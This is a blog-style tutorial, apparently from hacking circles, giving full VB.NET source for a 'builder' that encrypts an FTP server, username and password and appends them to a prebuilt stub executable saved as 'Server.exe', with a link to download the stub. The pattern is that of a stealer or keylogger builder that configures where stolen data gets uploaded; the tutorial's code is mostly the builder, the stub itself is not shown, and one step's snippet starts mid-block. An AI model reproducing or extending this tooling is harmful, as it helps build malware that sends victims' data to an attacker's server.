Step 1) Download VB 2008 HERE or download VB 2010 Beta HERE
Step 2) Create a Windows Forms Application and add the following:
Step 2) Create a Windows Forms Application and add the following:
- Textbox1 - txtServer
- Textbox2 - txtuser
- Textbox3 - txtPW
- Textbox4 - txtKey
- Button1 - ButtenCompile
- Button2 - ButtonClose
- Button3 - ButtonRandom
- Radiobutton1 - lblCryptString
- Label1 - lblSever
- Label2 - lblUser
- Label3 - lblPW
- SaveFileDialog1 - SaveFileDialog1
Step 3) Above Public Class Form1, put these imports:
Code:
Imports System.IO
Imports System.Security.Cryptography
Imports System.Text
Step 4) Under Public Class Form1, put this:
Code:
Dim Key As String, Server As String, User As String, Passwort As String
Dim VB6setting As New Compatibility.VB6.FixedLengthString(500)
Private Sub Zufall()
For x = 1 To 20
Dim Länge As Integer = 23
Dim ret As String = String.Empty
Dim SB As New System.Text.StringBuilder()
Dim Content As String = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw!öäüÖÄÜß""§$%&/()=?*#-½¼»«©§ÆÖæåÔ¥¿ÿþûÛéçÑ"
Dim rnd As New Random()
For i As Integer = 0 To Länge - 1
SB.Append(Content(rnd.[Next](Content.Length)))
Next
txtKey.Text = SB.ToString
Next x
End Sub
Step 5) Under Private Sub ButtenCompile_Click, insert this code:
Code:
MsgBox("You did not enter key!", MsgBoxStyle.Exclamation, " Warning!")
Exit Sub
End If
Key = txtKey.Text
Server = txtServer.Text
User = txtUser.Text
Passwort = txtPW.Text
Call CryptServer()
With SaveFileDialog1
.AddExtension = True
.FileName = "Server"
.Filter = "Executables (*.exe) | *.exe*"
.ShowDialog()
If File.Exists(.FileName) Then
File.Delete(.FileName)
End If
End With
Dim SchreibeDatei As New IO.BinaryWriter(New IO.FileStream(SaveFileDialog1.FileName & ".exe", IO.FileMode.Create))
SchreibeDatei.Write(My.Resources.Stub)
SchreibeDatei.Close()
VB6setting.Value = Key & "_" & Server & "_" & User & "_" & Passwort
FileOpen(1, (SaveFileDialog1.FileName & ".exe"), OpenMode.Binary)
FilePutObject(1, VB6setting.Value, LOF(1) + 1)
FileClose(1)
MsgBox("The server was successfully created!", MsgBoxStyle.Information, "Success")
That will create the server...
Step 6) Under Private Sub ButtonRandom_Click, enter this code:
Code:
Call Zufall()
Step 7) Under Private Sub Form1_Load, put this code:
Code:
Me.Activate()
Call Zufall()
My.Application.MinimumSplashScreenDisplayTime = 5000
Now, add this Sub. Put it anywhere, but not in any other Sub.
Code:
Protected Overrides Sub OnLoad(ByVal e As EventArgs)
Me.Activate()
MyBase.OnLoad(e)
End Sub
Now, we will add three more Subs. This is the encryption that is used.
Code:
Private Sub CryptServer()
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(Server)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
Server = Convert.ToBase64String(ms.ToArray)
Call CryptUser()
End Sub
Private Sub CryptUser()
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(User)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
User = Convert.ToBase64String(ms.ToArray)
Call CryptPW()
End Sub
Private Sub CryptPW()
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(Passwort)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
Passwort = Convert.ToBase64String(ms.ToArray)
End Sub
For the closing, put this under Private Sub ButtonClose_Click:
Code:
If MsgBox("Do you want to really quit?", MsgBoxStyle.YesNo, "Exit") = MsgBoxResult.Yes Then
End
Else
Exit Sub
End If
Ok, here is the full code for the Builder:
Code:
Imports System.IO
Imports System.Security.Cryptography
Imports System.Text
Public Class form1
Dim Key As String, Server As String, User As String, Passwort As String
Dim VB6setting As New Compatibility.VB6.FixedLengthString(500)
Private Sub Zufall()
For x = 1 To 20
Dim Länge As Integer = 23
Dim ret As String = String.Empty
Dim SB As New System.Text.StringBuilder()
Dim Content As String = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw!öäüÖÄÜß""§$%&/()=?*#-½¼»«©§ÆÖæåÔ¥¿ÿþûÛéçÑ"
Dim rnd As New Random()
For i As Integer = 0 To Länge - 1
SB.Append(Content(rnd.[Next](Content.Length)))
Next
txtKey.Text = SB.ToString
Next x
End Sub
Private Sub ButtenCompile_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtenCompile.Click
If txtServer.Text = Nothing Then
MsgBox("You have not specified FTP server!", MsgBoxStyle.Exclamation, " Warning!")
Exit Sub
ElseIf txtUser.Text = Nothing Then
MsgBox("You did not enter FTP user!", MsgBoxStyle.Exclamation, " Warning!")
Exit Sub
ElseIf txtPW.Text = Nothing Then
MsgBox("You have not specified an FTP password", MsgBoxStyle.Exclamation, " Warning!")
Exit Sub
ElseIf txtKey.Text = Nothing Then
MsgBox("You did not enter key!", MsgBoxStyle.Exclamation, " Warning!")
Exit Sub
End If
Key = txtKey.Text
Server = txtServer.Text
User = txtUser.Text
Passwort = txtPW.Text
Call CryptServer()
With SaveFileDialog1
.AddExtension = True
.FileName = "Server"
.Filter = "Executables (*.exe) | *.exe*"
.ShowDialog()
If File.Exists(.FileName) Then
File.Delete(.FileName)
End If
End With
Dim SchreibeDatei As New IO.BinaryWriter(New IO.FileStream(SaveFileDialog1.FileName & ".exe", IO.FileMode.Create))
SchreibeDatei.Write(My.Resources.Stub)
SchreibeDatei.Close()
VB6setting.Value = Key & "_" & Server & "_" & User & "_" & Passwort
FileOpen(1, (SaveFileDialog1.FileName & ".exe"), OpenMode.Binary)
FilePutObject(1, VB6setting.Value, LOF(1) + 1)
FileClose(1)
MsgBox("The server was successfully created!", MsgBoxStyle.Information, "Success")
End Sub
Private Sub ButtonRandom_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonRandom.Click
Call Zufall()
End Sub
Private Sub form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Activate()
Call Zufall()
My.Application.MinimumSplashScreenDisplayTime = 5000
End Sub
Protected Overrides Sub OnLoad(ByVal e As EventArgs)
Me.Activate()
MyBase.OnLoad(e)
End Sub
Private Sub CryptServer()
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(Server)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
Server = Convert.ToBase64String(ms.ToArray)
Call CryptUser()
End Sub
Private Sub CryptUser()
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(User)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
User = Convert.ToBase64String(ms.ToArray)
Call CryptPW()
End Sub
Private Sub CryptPW()
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(Passwort)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
Passwort = Convert.ToBase64String(ms.ToArray)
End Sub
Private Sub ButtonClose_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonClose.Click
If MsgBox("Do you want to really quit?", MsgBoxStyle.YesNo, "Exit") = MsgBoxResult.Yes Then
End
Else
Exit Sub
End If
End Sub
End Class
You may need to add this dll
The stub's code is too long to be posted, so here is a download for it.
It's pretty basic, and open source.
Download Stub's Code
Download Stub's Code
0 comments:
Post a Comment